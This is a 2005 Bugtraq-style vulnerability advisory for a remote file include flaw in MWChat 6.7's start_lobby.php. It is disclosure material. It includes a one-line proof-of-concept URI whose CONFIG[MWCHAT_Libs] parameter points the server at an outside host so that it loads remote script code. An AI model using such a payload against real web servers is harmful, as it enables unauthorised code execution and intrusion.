MWChat Start_Lobby.PHP Remote File Include Vulnerability

Bugtraq ID:	13849
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 03 2005 12:00AM
Updated:	Jun 03 2005 12:00AM
Credit:	This vulnerability was discovered by Status-x <[email protected]>.
Vulnerable:	AppIndex MWChat 6.7
Not Vulnerable:

MWChat Start_Lobby.PHP Remote File Include Vulnerability

MWChat is affected by a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

MWChat Start_Lobby.PHP Remote File Include Vulnerability

No exploit is required.

The following proof of concept URI is available:
http://www.example.com/mwchat/libs/start_lobby.php?CONFIG[MWCHAT_Libs]=http://www.example.com/

MWChat Start_Lobby.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

MWChat Start_Lobby.PHP Remote File Include Vulnerability

References:

• MW CHAT Version 6.xx Remote File Include (Status-x)
  
• MWChat Homepage (AppIndex)